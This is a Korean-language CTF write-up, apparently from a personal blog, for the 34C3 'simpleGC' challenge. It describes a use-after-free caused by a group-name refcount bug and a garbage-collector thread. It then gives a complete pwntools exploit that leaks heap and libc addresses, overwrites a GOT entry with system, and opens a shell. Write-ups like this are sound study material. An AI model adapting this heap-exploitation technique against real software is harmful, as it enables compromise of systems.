2017 34c3 simpleGC
tcache를 익히고 처음 풀어본 문젠데 정말 힘들게 풀었다.. 머리 터지는줄,,
앞으로 이런 복잡한 바이너리는 struct와 주석, rename을 최대한 활용하여 프로그램을 정확하게 파악할 수 있도록 해야겠다.
일단 이 바이너리에는 여러가지 취약점이 존재한다. 하지만 쓸만한 취약점은 몇 개 안된다. 살펴보도록 하자.
가비지 컬렉팅을 하는 쓰레드이다. 그룹에 속해있는 사람이 아무도 없다면 free를 진행한다.
user을 delete할 때 group에 속해 있는 사람 수를 줄이는 함수이다.
그룹을 새로 만들거나 변경할 수 있는 함수이다. 사실 여기서 idx의 값을 제한하지 않아 group_addr의 값까지 바꿀 수 있는데 *(ptr[idx]+2)에 입력하기 때문에 힘든 부분이 있다.
이 함수에서 중요한 것은 y를 입력할 시 그룹을 바꿀 수 있는데 이 부분에서는 participate_in_existing_group 함수로 이미 존재하는 그룹인지 확인하지 않는다.
때문에 실제로는 다른 그룹에 속해 있지만 이름은 동일한 상황이 발생한다. 이러한 상황에서 user를 delete 한다면 두 그룹의 사람 수가 모두 감소할 것이며, 0이 된다면 쓰레드 t2
에서 가비지 컬렉팅을 할 것이다. 댕글링 포인터 상황이 발생한다.
익스플로잇을 짜기 위해서는 프로그램에서 쓰이는 구조체에 대해 정확하게 파악해야 한다.
위와 같이 구조체가 짜여져 있으며 가비지 컬렉터는 &size_4와 &group_name을 free 시킨다. 여기서 댕글링 포인터 상황을 연출하면 free된 group_name에 값을 쓰는 것이 가능해진다. 즉 fd를 변경하여 원하는 곳에 메모리를 할당할 수 있다.
tcache는 malloc시 검사가 존재하지 않기 때문에 어느 장소이든 모두 가능하다.
여기서 하나 문제가 되는 것은 쓰레드 t2
에서 free를 시키기 때문에 메인 쓰레드 t1
에서 해당 메모리를 반환받을 수 없다는 것이다. tcache는 tcache_init 함수를 통해 heap에 tcache_perthread_struct를 할당한 뒤 관리하기 때문이다.
하지만 tcache list의 최대 개수는 7개기 때문에 이를 초과해서 free하면 fastbin에 들어가 main_arena의 관리하에 놓이게 된다. main_arena는 t1
과 t2
가 공유하기 때문에 fastbin에 들어간 chunk를 할당 받음으로써 UAF를 일으킬 수 있다.
익스플로잇 흐름도는 다음과 같다.
xxxxxxxxxx
from pwn import *
context.clear(arch='amd64')
e = ELF('./sgc')
s = process('./sgc')
#l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
io = lambda : s.interactive()
p = lambda : pause()
def menu(sel):
ru('Action: ')
sl(sel)
def add_user(name, group, age):
menu('0')
ru('name: ')
sl(name)
ru('group: ')
sl(group)
ru('age: ')
sl(age)
def edit_group(idx, sel, name):
menu('3')
ru('index: ')
sl(idx)
ru('(y/n): ')
sl(sel)
ru('name: ')
sl(name)
def delete_user(idx):
menu('4')
ru('index: ')
sl(idx)
def display_group(name):
menu('1')
ru('name: ')
sl(name)
def display_user(idx):
menu('2')
ru('index: ')
sl(idx)
ptr = 0x6020E0 # ptr(malloc): user_age || user_name(malloc) || group_name(malloc)
for i in xrange(6):
add_user('krrr', 'G'*i, str(0))
edit_group('4', 'y', 'G'*5)
for i in xrange(5):
delete_user(str(i))
sleep(1)
display_user('5')
s.recvuntil('Group: ')
leak = u32(s.recv(4).replace('\x0a', '\x00'))
print('leak!: {}'.format(hex(leak)))
user8_ptr = leak + 0xa0 + 0x10
print('user[8] ptr!: {}'.format(hex(user8_ptr)))
add_user('krrr', 'A', str(0))
add_user('krrr', 'C', str(0))
edit_group('5', 'y', p32(user8_ptr))
edit_group('0', 'n', 'GG')
add_user('hehe', 'A'*8 + p64(0x602030) + p64(0x602030), str(0)) # strlen leak
sl('\n')
sl('\n')
sl('\n')
display_user('5')
s.recvuntil('Group: ')
leak = u64(s.recv(6).ljust(8, '\x00'))
print('leak!: {}'.format(hex(leak)))
libc_base = leak - 0x18e590
print('libc_base!: {}'.format(hex(libc_base)))
system = libc_base + 0x4f440
print('system!: {}'.format(hex(system)))
edit_group('5', 'y', p64(system).rstrip('\x00'))
add_user('/bin/sh', 'BB', str(0))
io()
쉘!!!!!!!
'system > writeup' 카테고리의 다른 글
pwnable.tw applestore (0) | 2019.01.19 |
---|---|
pwnable.tw dubblesort (0) | 2019.01.17 |
pwnable.tw calc (0) | 2019.01.14 |
pwnable.tw silver bullet (0) | 2019.01.13 |
pwnable.tw hacknote (0) | 2019.01.13 |